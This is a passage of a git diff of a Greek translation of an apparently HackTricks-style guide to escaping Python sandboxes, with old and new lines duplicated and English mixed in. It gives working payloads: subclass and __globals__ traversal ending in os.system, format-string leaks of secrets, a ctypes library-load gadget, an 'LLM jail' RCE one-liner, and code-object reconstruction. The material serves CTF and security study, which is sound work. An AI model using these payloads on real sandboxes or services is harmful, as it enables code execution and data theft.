'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||
```
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) για να βρείτε δεκάδες/**εκατοντάδες** από **τόπους** όπου μπορείτε να βρείτε τα **globals**.
|
||||
[**Παρακάτω υπάρχει μια μεγαλύτερη συνάρτηση**](#recursive-search-of-builtins-globals) για να βρείτε δεκάδες/**εκατοντάδες** **θέσεις** όπου μπορείτε να βρείτε τα **globals**.
|
||||
|
||||
## Ανακάλυψη Αυθαίρετης Εκτέλεσης
|
||||
## Discover Arbitrary Execution
|
||||
|
||||
Εδώ θέλω να εξηγήσω πώς να ανακαλύψετε εύκολα **περισσότερες επικίνδυνες λειτουργίες που έχουν φορτωθεί** και να προτείνω πιο αξιόπιστα exploits.
|
||||
Εδώ θέλω να εξηγήσω πώς να ανακαλύπτετε εύκολα **περισσότερες επικίνδυνες λειτουργίες που έχουν φορτωθεί** και να προτείνω πιο αξιόπιστα exploits.
|
||||
|
||||
#### Πρόσβαση σε subclasses με bypasses
|
||||
#### Accessing subclasses with bypasses
|
||||
|
||||
Ένα από τα πιο ευαίσθητα σημεία αυτής της τεχνικής είναι η δυνατότητα **πρόσβασης στα base subclasses**. Στα προηγούμενα παραδείγματα αυτό έγινε με `''.__class__.__base__.__subclasses__()` αλλά υπάρχουν **άλλοι πιθανοί τρόποι**:
|
||||
Ένα από τα πιο ευαίσθητα μέρη αυτής της τεχνικής είναι η δυνατότητα να έχετε **πρόσβαση στα base subclasses**. Στα προηγούμενα παραδείγματα αυτό γινόταν χρησιμοποιώντας `''.__class__.__base__.__subclasses__()` αλλά υπάρχουν **άλλοι πιθανοί τρόποι**:
|
||||
```python
|
||||
#You can access the base from mostly anywhere (in regular conditions)
|
||||
"".__class__.__base__.__subclasses__()
|
||||
@ -447,7 +448,7 @@ defined_func.__class__.__base__.__subclasses__()
|
||||
```
|
||||
### Εύρεση επικίνδυνων βιβλιοθηκών που έχουν φορτωθεί
|
||||
|
||||
Για παράδειγμα, γνωρίζοντας ότι με τη βιβλιοθήκη **`sys`** είναι δυνατό να **import arbitrary libraries**, μπορείτε να αναζητήσετε όλα τα **modules loaded that have imported sys inside of them**:
|
||||
Για παράδειγμα, γνωρίζοντας ότι με τη βιβλιοθήκη **`sys`** είναι δυνατό να **εισάγετε αυθαίρετες βιβλιοθήκες**, μπορείτε να αναζητήσετε όλα τα **φορτωμένα modules που έχουν εισαγάγει το sys μέσα τους**:
|
||||
```python
|
||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
@ -456,7 +457,7 @@ defined_func.__class__.__base__.__subclasses__()
|
||||
```python
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
```
|
||||
Μπορούμε να κάνουμε το ίδιο με **άλλες βιβλιοθήκες** που γνωρίζουμε ότι μπορούν να χρησιμοποιηθούν για να **εκτελέσουν εντολές**:
|
||||
Μπορούμε να κάνουμε το ίδιο με **άλλες βιβλιοθήκες** που ξέρουμε ότι μπορούν να χρησιμοποιηθούν για **την εκτέλεση εντολών**:
|
||||
```python
|
||||
#os
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
||||
@ -491,7 +492,7 @@ defined_func.__class__.__base__.__subclasses__()
|
||||
#pdb
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
||||
```
|
||||
Επιπλέον, μπορούμε ακόμη να αναζητήσουμε ποια modules φορτώνουν malicious libraries:
|
||||
Επιπλέον, θα μπορούσαμε ακόμη και να αναζητήσουμε ποια modules φορτώνουν malicious libraries:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
for b in bad_libraries_names:
|
||||
@ -510,7 +511,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
|
||||
pdb:
|
||||
"""
|
||||
```
|
||||
Επιπλέον, αν πιστεύετε ότι οι **άλλες βιβλιοθήκες** ίσως μπορούν να **καλέσουν συναρτήσεις για να εκτελέσουν εντολές**, μπορούμε επίσης να **φιλτράρουμε κατά ονόματα συναρτήσεων** μέσα στις πιθανές βιβλιοθήκες:
|
||||
Επιπλέον, αν θεωρείτε ότι **άλλες βιβλιοθήκες** μπορεί να **καλούν συναρτήσεις για να εκτελέσουν εντολές**, μπορούμε επίσης να **φιλτράρουμε με βάση τα ονόματα των συναρτήσεων** μέσα στις πιθανές βιβλιοθήκες:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||||
@ -546,7 +547,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
|
||||
## Αναδρομική Αναζήτηση των Builtins, Globals...
|
||||
|
||||
> [!WARNING]
|
||||
> Αυτό είναι απλά **καταπληκτικό**. Εάν ψάχνετε για ένα αντικείμενο όπως **globals, builtins, open ή οτιδήποτε άλλο** απλώς χρησιμοποιήστε αυτό το script για να **αναδρομικά βρείτε σημεία όπου μπορείτε να βρείτε αυτό το αντικείμενο.**
|
||||
> Αυτό είναι απλώς **φοβερό**. Αν ψάχνετε **ένα αντικείμενο όπως globals, builtins, open ή οτιδήποτε** απλώς χρησιμοποιήστε αυτό το script για να **βρείτε αναδρομικά μέρη όπου μπορείτε να βρείτε αυτό το αντικείμενο.**
|
||||
```python
|
||||
import os, sys # Import these to find more gadgets
|
||||
|
||||
@ -662,7 +663,7 @@ print(SEARCH_FOR)
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
Μπορείτε να δείτε την έξοδο αυτού του script σε αυτή τη σελίδα:
|
||||
Μπορείς να δεις την έξοδο αυτού του script σε αυτήν τη σελίδα:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -671,7 +672,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-
|
||||
|
||||
## Python Format String
|
||||
|
||||
Αν **στείλετε** μια **string** στο python που πρόκειται να **μορφοποιηθεί**, μπορείτε να χρησιμοποιήσετε `{}` για να αποκτήσετε πρόσβαση σε **python internal information.** Μπορείτε να χρησιμοποιήσετε τα προηγούμενα παραδείγματα για να αποκτήσετε πρόσβαση σε globals ή builtins, για παράδειγμα.
|
||||
Αν **στείλεις** μια **συμβολοσειρά** στο python που πρόκειται να **μορφοποιηθεί**, μπορείς να χρησιμοποιήσεις `{}` για να έχεις πρόσβαση σε **εσωτερικές πληροφορίες του python.** Μπορείς να χρησιμοποιήσεις τα προηγούμενα παραδείγματα για να προσπελάσεις globals ή builtins για παράδειγμα.
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
CONFIG = {
|
||||
@ -691,11 +692,11 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Σημειώστε πώς μπορείτε να **προσπελάσετε ιδιότητες** με τον κανονικό τρόπο με μια **τελεία** όπως `people_obj.__init__` και στοιχείο **dict** με **αγκύλες** χωρίς εισαγωγικά `__globals__[CONFIG]`
|
||||
Σημείωσε πώς μπορείς να **προσπελάσεις attributes** με τον κανονικό τρόπο με **τελεία** όπως `people_obj.__init__` και **στοιχείο dict** με **παρενθέσεις** χωρίς εισαγωγικά `__globals__[CONFIG]`
|
||||
|
||||
Επίσης σημειώστε ότι μπορείτε να χρησιμοποιήσετε `.__dict__` για να απαριθμήσετε στοιχεία ενός αντικειμένου `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
Επίσης σημείωσε ότι μπορείς να χρησιμοποιήσεις `.__dict__` για να απαριθμήσεις στοιχεία ενός αντικειμένου `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
Κάποια άλλα ενδιαφέροντα χαρακτηριστικά των format strings είναι η δυνατότητα **εκτέλεσης** των **συναρτήσεων** **`str`**, **`repr`** και **`ascii`** στο συγκεκριμένο αντικείμενο προσθέτοντας **`!s`**, **`!r`**, **`!a`** αντίστοιχα:
|
||||
Κάποια άλλα ενδιαφέρoντα χαρακτηριστικά των format strings είναι η δυνατότητα **εκτέλεσης** των **συναρτήσεων** **`str`**, **`repr`** και **`ascii`** στο συγκεκριμένο αντικείμενο προσθέτοντας **`!s`**, **`!r`**, **`!a`** αντίστοιχα:
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
@ -711,17 +712,17 @@ return 'HAL 9000'
|
||||
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
||||
#I'm afraid I can't do that.
|
||||
```
|
||||
**Περισσότερα παραδείγματα** για **format** **string** μπορείτε να βρείτε στο [**https://pyformat.info/**](https://pyformat.info)
|
||||
**Περισσότερα παραδείγματα** σχετικά με τα **format** **string** μπορείτε να βρείτε στο [**https://pyformat.info/**](https://pyformat.info)
|
||||
|
||||
> [!CAUTION]
|
||||
> Ελέγξτε επίσης την παρακάτω σελίδα για gadgets που θα **διαβάσουν ευαίσθητες πληροφορίες από τα εσωτερικά αντικείμενα του Python**:
|
||||
> Ελέγξτε επίσης την παρακάτω σελίδα για gadgets που θα δ**ιαβάσουν ευαίσθητες πληροφορίες από τα εσωτερικά αντικείμενα της Python**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../python-internal-read-gadgets.md
|
||||
{{#endref}}
|
||||
|
||||
### Αποκάλυψη Ευαίσθητων Πληροφοριών Payloads
|
||||
### Payloads Αποκάλυψης Ευαίσθητων Πληροφοριών
|
||||
```python
|
||||
{whoami.__class__.__dict__}
|
||||
{whoami.__globals__[os].__dict__}
|
||||
@ -737,22 +738,22 @@ secret_variable = "clueless"
|
||||
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
|
||||
str(x) # Out: clueless
|
||||
```
|
||||
### Παράκαμψη LLM Jails
|
||||
### LLM Jails bypass
|
||||
|
||||
Από [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||
|
||||
### Από format σε RCE για φόρτωση βιβλιοθηκών
|
||||
### Από το format στο RCE — φόρτωση βιβλιοθηκών
|
||||
|
||||
Σύμφωνα με το [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) είναι δυνατό να φορτωθούν αυθαίρετες βιβλιοθήκες από δίσκο εκμεταλλευόμενοι την format string vulnerability στο python.
|
||||
Σύμφωνα με το [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) είναι δυνατό να φορτωθούν αυθαίρετες βιβλιοθήκες από το δίσκο εκμεταλλευόμενοι το format string vulnerability σε python.
|
||||
|
||||
Ως υπενθύμιση, κάθε φορά που πραγματοποιείται μια ενέργεια στο python κάποια συνάρτηση εκτελείται. Για παράδειγμα `2*3` θα εκτελέσει **`(2).mul(3)`** ή **`{'a':'b'}['a']`** θα είναι **`{'a':'b'}.__getitem__('a')`**.
|
||||
Ως υπενθύμιση, κάθε φορά που μια ενέργεια εκτελείται σε python κάποια συνάρτηση καλείται. Για παράδειγμα `2*3` θα εκτελέσει **`(2).mul(3)`** ή **`{'a':'b'}['a']`** θα είναι **`{'a':'b'}.__getitem__('a')`**.
|
||||
|
||||
Υπάρχουν κι άλλα τέτοια στην ενότητα [**Python execution without calls**](#python-execution-without-calls).
|
||||
Έχεις περισσότερα σαν αυτό στην ενότητα [**Python execution without calls**](#python-execution-without-calls).
|
||||
|
||||
Μια python format string vuln δεν επιτρέπει την εκτέλεση συναρτήσεων (δεν επιτρέπει τη χρήση παρενθέσεων), οπότε δεν είναι δυνατό να αποκτήσουμε RCE όπως `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
Ωστόσο, είναι δυνατό να χρησιμοποιήσουμε `[]`. Επομένως, αν μια κοινή βιβλιοθήκη python έχει μια μέθοδο **`__getitem__`** ή **`__getattr__`** που εκτελεί αυθαίρετο κώδικα, είναι δυνατό να τις καταχραστούμε για να αποκτήσουμε RCE.
|
||||
Ένα python format string vuln δεν επιτρέπει την εκτέλεση συναρτήσεων (δεν επιτρέπει τη χρήση παρενθέσεων), οπότε δεν είναι δυνατό να αποκτήσεις RCE όπως `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
Ωστόσο, είναι δυνατό να χρησιμοποιήσεις `[]`. Επομένως, αν μια κοινή βιβλιοθήκη python έχει μέθοδο **`__getitem__`** ή **`__getattr__`** που εκτελεί αυθαίρετο κώδικα, είναι δυνατό να τις καταχραστείς για να αποκτήσεις RCE.
|
||||
|
||||
Ψάχνοντας για ένα τέτοιο gadget στο python, το writeup προτείνει αυτή την [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Εκεί βρήκε αυτό [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
Ψάχνοντας για ένα τέτοιο gadget σε python, το writeup προτείνει το εξής [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Εκεί βρήκε αυτό το [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
```python
|
||||
class LibraryLoader(object):
|
||||
def __init__(self, dlltype):
|
||||
@ -774,20 +775,20 @@ return getattr(self, name)
|
||||
cdll = LibraryLoader(CDLL)
|
||||
pydll = LibraryLoader(PyDLL)
|
||||
```
|
||||
Αυτό το gadget επιτρέπει να **load a library from disk**. Επομένως χρειάζεται με κάποιον τρόπο να **write or upload the library to load** σωστά compiled στον attacked server.
|
||||
Αυτό το gadget επιτρέπει να **φορτώσετε μια βιβλιοθήκη από το δίσκο**. Επομένως, χρειάζεται με κάποιο τρόπο να **εγγράψετε ή να ανεβάσετε τη βιβλιοθήκη που θα φορτωθεί** σωστά μεταγλωττισμένη στον διακομιστή-στόχο.
|
||||
```python
|
||||
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
||||
```
|
||||
Η πρόκληση στην πραγματικότητα εκμεταλλεύεται μια άλλη ευπάθεια στον διακομιστή που επιτρέπει τη δημιουργία αυθαίρετων αρχείων στον δίσκο του διακομιστή.
|
||||
Η πρόκληση στην πραγματικότητα εκμεταλλεύεται μια άλλη ευπάθεια στον server που επιτρέπει τη δημιουργία αυθαίρετων αρχείων στο δίσκο του server.
|
||||
|
||||
## Ανάλυση Python αντικειμένων
|
||||
|
||||
> [!TIP]
|
||||
> Αν θέλεις να **μάθεις** για το **python bytecode** σε βάθος, διάβασε αυτή την **υπέροχη** ανάρτηση σχετικά με το θέμα: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
> Εάν θέλεις να **μάθεις** σε βάθος για το **python bytecode**, διάβασε αυτό το **καταπληκτικό** άρθρο για το θέμα: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
|
||||
Σε κάποιες CTFs μπορεί να σου δοθεί το όνομα της **custom function where the flag** και χρειάζεται να δεις τα **internals** της **function** για να την εξάγεις.
|
||||
Σε μερικά CTFs μπορεί να σου δοθεί το όνομα μιας **προσαρμοσμένης συνάρτησης όπου βρίσκεται η flag** και χρειάζεται να δεις τα **εσωτερικά** της **συνάρτησης** για να την εξαγάγεις.
|
||||
|
||||
Αυτή είναι η function που πρέπει να εξετάσεις:
|
||||
Αυτή είναι η συνάρτηση που πρέπει να επιθεωρήσετε:
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -807,7 +808,7 @@ dir(get_flag) #Get info tof the function
|
||||
```
|
||||
#### globals
|
||||
|
||||
`__globals__` and `func_globals` (Same) Επιστρέφουν το global περιβάλλον. Στο παράδειγμα μπορείτε να δείτε κάποια εισαγόμενα modules, μερικές global μεταβλητές και το περιεχόμενό τους δηλωμένα:
|
||||
`__globals__` and `func_globals`(Same) Αποκτούν το global environment. Στο παράδειγμα μπορείτε να δείτε μερικά imported modules, μερικές global variables και το δηλωμένο περιεχόμενό τους:
|
||||
```python
|
||||
get_flag.func_globals
|
||||
get_flag.__globals__
|
||||
@ -818,9 +819,9 @@ CustomClassObject.__class__.__init__.__globals__
|
||||
```
|
||||
[**See here more places to obtain globals**](#globals-and-locals)
|
||||
|
||||
### **Πρόσβαση στον function code**
|
||||
### **Πρόσβαση στον κώδικα της συνάρτησης**
|
||||
|
||||
**`__code__`** και `func_code`: Μπορείτε να **αποκτήσετε πρόσβαση** σε αυτή την **ιδιότητα** της function για να **λάβετε το code object** της function.
|
||||
**`__code__`** and `func_code`: Μπορείτε να **έχετε πρόσβαση** σε αυτή την **ιδιότητα** της συνάρτησης για να **αποκτήσετε το αντικείμενο κώδικα** της συνάρτησης.
|
||||
```python
|
||||
# In our current example
|
||||
get_flag.__code__
|
||||
@ -834,7 +835,7 @@ compile("print(5)", "", "single")
|
||||
dir(get_flag.__code__)
|
||||
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
|
||||
```
|
||||
### Λήψη πληροφοριών για τον κώδικα
|
||||
### Λήψη Πληροφοριών Κώδικα
|
||||
```python
|
||||
# Another example
|
||||
s = '''
|
||||
@ -908,7 +909,7 @@ dis.dis(get_flag)
|
||||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
Σημειώστε ότι **αν δεν μπορείτε να εισάγετε το `dis` στο python sandbox** μπορείτε να αποκτήσετε το **bytecode** της συνάρτησης (`get_flag.func_code.co_code`) και να το **αποσυναρμολογήσετε** τοπικά. Δεν θα δείτε το περιεχόμενο των μεταβλητών που φορτώνονται (`LOAD_CONST`) αλλά μπορείτε να τα μαντέψετε από (`get_flag.func_code.co_consts`) επειδή το `LOAD_CONST` επίσης δείχνει την μετατόπιση (offset) της μεταβλητής που φορτώνεται.
|
||||
Σημειώστε ότι **αν δεν μπορείτε να εισάγετε το `dis` στο python sandbox** μπορείτε να αποκτήσετε το **bytecode** της συνάρτησης (`get_flag.func_code.co_code`) και να το **disassemble** τοπικά. Δεν θα δείτε το περιεχόμενο των μεταβλητών που φορτώνονται (`LOAD_CONST`), αλλά μπορείτε να τα μαντέψετε από (`get_flag.func_code.co_consts`), επειδή το `LOAD_CONST` επίσης δείχνει τη θέση (offset) της μεταβλητής που φορτώνεται.
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
@ -930,10 +931,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
||||
44 LOAD_CONST 0 (0)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
## Compiling Python
|
||||
## Μεταγλώττιση Python
|
||||
|
||||
Τώρα, ας φανταστούμε ότι με κάποιο τρόπο μπορείτε να **dump the information about a function that you cannot execute** αλλά **need** να την **execute** it.\
|
||||
Όπως στο παρακάτω παράδειγμα, μπορείτε να **can access the code object** της συνάρτησης αυτής, αλλά διαβάζοντας μόνο το disassemble δεν **don't know how to calculate the flag** (_imagine a more complex `calc_flag` function_)
|
||||
Τώρα, ας υποθέσουμε ότι κάπως μπορείτε να **dump the information about a function that you cannot execute** αλλά **πρέπει** να **την εκτελέσετε**.\
|
||||
Όπως στο παρακάτω παράδειγμα, μπορείτε να **έχετε πρόσβαση στο code object** της συνάρτησης αυτής, αλλά μόνο διαβάζοντας το disassemble **δεν ξέρετε πώς να υπολογίσετε το flag** (_φανταστείτε μια πιο πολύπλοκη `calc_flag` συνάρτηση_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -948,7 +949,7 @@ return "Nope"
|
||||
```
|
||||
### Δημιουργία του code object
|
||||
|
||||
Πρώτα απ' όλα, πρέπει να ξέρουμε **πώς να δημιουργήσουμε και να εκτελέσουμε ένα code object** ώστε να μπορούμε να δημιουργήσουμε ένα για να εκτελέσουμε την function leaked:
|
||||
Πρώτα απ' όλα, πρέπει να ξέρουμε **πώς να δημιουργήσουμε και να εκτελέσουμε ένα code object** ώστε να μπορούμε να δημιουργήσουμε ένα για να εκτελέσει τη συνάρτησή μας leaked:
|
||||
```python
|
||||
code_type = type((lambda: None).__code__)
|
||||
# Check the following hint if you get an error in calling this
|
||||
@ -968,7 +969,7 @@ mydict['__builtins__'] = __builtins__
|
||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
> [!TIP]
|
||||
> Ανάλογα με την έκδοση του python, οι **παράμετροι** του `code_type` ενδέχεται να έχουν **διαφορετική σειρά**. Ο καλύτερος τρόπος για να μάθετε τη σειρά των παραμέτρων στην έκδοση του python που τρέχετε είναι να εκτελέσετε:
|
||||
> Ανάλογα με την έκδοση του python οι **παράμετροι** του `code_type` μπορεί να έχουν **διαφορετική σειρά**. Ο καλύτερος τρόπος για να μάθετε τη σειρά των παραμέτρων στην έκδοση του python που τρέχετε είναι να εκτελέσετε:
|
||||
>
|
||||
> ```
|
||||
> import types
|
||||
@ -979,7 +980,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
### Αναδημιουργία μιας leaked συνάρτησης
|
||||
|
||||
> [!WARNING]
|
||||
> Στο παρακάτω παράδειγμα θα πάρουμε απευθείας από το code object όλα τα δεδομένα που χρειάζονται για να αναδημιουργήσουμε τη συνάρτηση. Σε ένα **πραγματικό παράδειγμα**, όλες οι **τιμές** που απαιτούνται για να εκτελέσετε τη συνάρτηση **`code_type`** είναι αυτές που **θα χρειαστεί να leak**.
|
||||
> Στο παρακάτω παράδειγμα, θα πάρουμε όλα τα δεδομένα που χρειάζονται για να αναδημιουργήσουμε τη συνάρτηση απευθείας από το function code object. Σε ένα **πραγματικό παράδειγμα**, όλες οι **τιμές** που απαιτούνται για να εκτελεστεί η συνάρτηση **`code_type`** είναι αυτές που **θα χρειαστεί να leak**.
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
||||
@ -990,12 +991,12 @@ mydict['__builtins__'] = __builtins__
|
||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
#ThisIsTheFlag
|
||||
```
|
||||
### Παράκαμψη Προστασιών
|
||||
### Bypass Defenses
|
||||
|
||||
Στα προηγούμενα παραδείγματα στην αρχή αυτού του άρθρου, μπορείτε να δείτε **πώς να εκτελέσετε οποιοδήποτε python code χρησιμοποιώντας τη `compile` function**. Αυτό είναι ενδιαφέρον επειδή μπορείτε να **εκτελέσετε ολόκληρα scripts** με loops και τα πάντα σε ένα **one liner** (και θα μπορούσαμε να κάνουμε το ίδιο χρησιμοποιώντας **`exec`**).\
|
||||
Πάντως, μερικές φορές μπορεί να είναι χρήσιμο να **δημιουργήσετε** ένα **compiled object** σε μια τοπική μηχανή και να το εκτελέσετε στη **CTF machine** (για παράδειγμα επειδή δεν έχουμε τη `compiled` function στο CTF).
|
||||
Στα προηγούμενα παραδείγματα στην αρχή αυτού του post, μπορείτε να δείτε **πώς να εκτελέσετε οποιονδήποτε κώδικα python χρησιμοποιώντας τη συνάρτηση `compile`**. Αυτό είναι ενδιαφέρον γιατί μπορείτε να **εκτελέσετε ολόκληρα scripts** με loops και τα πάντα σε ένα **one liner** (και θα μπορούσαμε να κάνουμε το ίδιο χρησιμοποιώντας **`exec`**).\
|
||||
Πάντως, μερικές φορές μπορεί να είναι χρήσιμο να **create** ένα **compiled object** σε μια local machine και να το εκτελέσετε στην **CTF machine** (για παράδειγμα επειδή δεν έχουμε τη συνάρτηση `compiled` στο CTF).
|
||||
|
||||
Για παράδειγμα, ας κάνουμε compile και να εκτελέσουμε χειροκίνητα μια function που διαβάζει _./poc.py_:
|
||||
Για παράδειγμα, ας κάνουμε compile και να εκτελέσουμε χειροκίνητα μια συνάρτηση που διαβάζει _./poc.py_:
|
||||
```python
|
||||
#Locally
|
||||
def read():
|
||||
@ -1022,7 +1023,7 @@ mydict['__builtins__'] = __builtins__
|
||||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
Αν δεν μπορείτε να έχετε πρόσβαση σε `eval` ή `exec` μπορείτε να δημιουργήσετε μια **proper function**, αλλά η απευθείας κλήση της συνήθως θα αποτύχει με: _constructor not accessible in restricted mode_. Άρα χρειάζεστε μια **function not in the restricted environment to call this function.**
|
||||
Εάν δεν μπορείτε να αποκτήσετε πρόσβαση στο `eval` ή στο `exec`, μπορείτε να δημιουργήσετε μια **κατάλληλη συνάρτηση**, αλλά η άμεση κλήση της συνήθως θα αποτύχει με: _constructor not accessible in restricted mode_. Επομένως χρειάζεστε μια **συνάρτηση που δεν βρίσκεται στο restricted environment για να καλέσει αυτή τη συνάρτηση.**
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
@ -1030,22 +1031,22 @@ ctype = type((lambda: None).func_code)
|
||||
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
|
||||
f(42)
|
||||
```
|
||||
## Decompiling Compiled Python
|
||||
## Απομεταγλώττιση Compiled Python
|
||||
|
||||
Χρησιμοποιώντας εργαλεία όπως [**https://www.decompiler.com/**](https://www.decompiler.com) μπορεί κανείς να **decompile** παρεχόμενο compiled python code.
|
||||
